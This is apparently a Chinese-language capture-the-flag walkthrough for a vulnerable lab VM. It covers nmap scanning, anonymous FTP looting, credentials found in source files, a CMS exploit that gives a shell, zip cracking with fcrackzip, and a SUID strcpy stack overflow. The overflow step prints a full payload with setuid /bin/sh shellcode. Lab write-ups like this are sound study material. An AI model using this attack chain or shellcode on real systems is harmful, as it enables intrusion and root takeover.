主机探活
nmap -sP 192.168.159.0/24
目标靶机IP为:192.168.159.172
端口发现
nmap -sV -p- -A 192.168.159.172
目标靶机开放端口为:21、22、80端口
21端口
匿名登陆
ftp 192.168.159.172
# 用户名:anonymous 密码:空
成功登录进入ftp服务器
发现该服务器上有文件,都下载下来看看
wget -r ftp://192.168.159.172
信息收集
这里我初步想的是先找一找数据库配置文件,说不定用户名密码可以ssh直接登录
在admin.php
文件中找到了连接数据库的函数,找到其中的变量和包含的文件
在文件夹中寻找包含的文件sqlconfug.php
查看,发现连接数据库的用户名和密码
找到了,但是无法连接,寄
然后继续查看文件,发现有一个tests目录,进去后发现其内存在一组账号密码
admin:Monster123
80端口
我们在获得的网站源码中找到了一组用户名密码,尝试登陆网站
修改配置文件时发现改不了。。。
但是发现了这个cms的版本信息
尝试直接利用本地漏洞库中文件
其中前两个是 manage_site_files
,猜测就是我刚才试的,估计不行
尝试了一下确实无法获得shell
尝试最后一个脚本,成功获得shell
提权
信息收集
在经过了 setuid 、sudo、计划任务等常规流程没有找到可以利用的地方后;在进行信息收集时发现在/var
目录下存在一个user.zip
文件
文件下载
由于这个文件只可读,属主属组都是root,放不到 web 目录下,无法下载
我们尝试使用 python 自带的http服务:
python3 -m http.server 8888 #python2没装http,3装了,使用python3
下载后查看,发现存在密码,使用fcrackzip
尝试爆破密码
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u user.zip
没成功。。。
数据库信息收集
使用我们之前得到的数据库用户名与密码尝试登入数据库
进行信息收集
show databases;
use user_info;
show tables;
select * from ENCKEYS;
c2FuM25jcnlwdDNkCg==
看起来像base64,进行解密,获得一个密码:san3ncrypt3d
尝试解压缩,密码是错的。。。
然后没办法了,上网搜教程,发现直接用加密的密文解密就行。。。太tmd苟了。。。
解密后获取一组用户名与密码:buffemr Iamgr00t
ssh成功连接
buddmer用户
setuid
find / -perm -u=s -type f 2>/dev/null
一眼看到一个可疑文件
缓冲区溢出漏洞
strings查看它的大概内容
strcpy
函数,经典存在栈溢出漏洞的函数;而且没有什么别的看起来可以利用的了,故尝试使用栈溢出获取系统权限
尝试运行,发现输入字符串过长确实会产生栈溢出
与上一篇关于缓冲区溢出漏洞靶机driftingblues 9
相同,先生成 测试用字符串,再进入 gdb 调试,获得一个地址,最后计算出偏移量(不发生溢出的字符串长度)
查看esp寄存器起始地址:x/50wx $esp
构造攻击载荷(具体看driftingblues 9靶机文章):
$(python -c ‘print(“A”*512 + “\x30\xd3\xff\xff” + “\x90” * 100 + “\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh”)’)
这里我上次driftingblues 9
靶机使用的提权载荷没有成功,修改成另一个载荷才成功
成功获取 root 权限!!!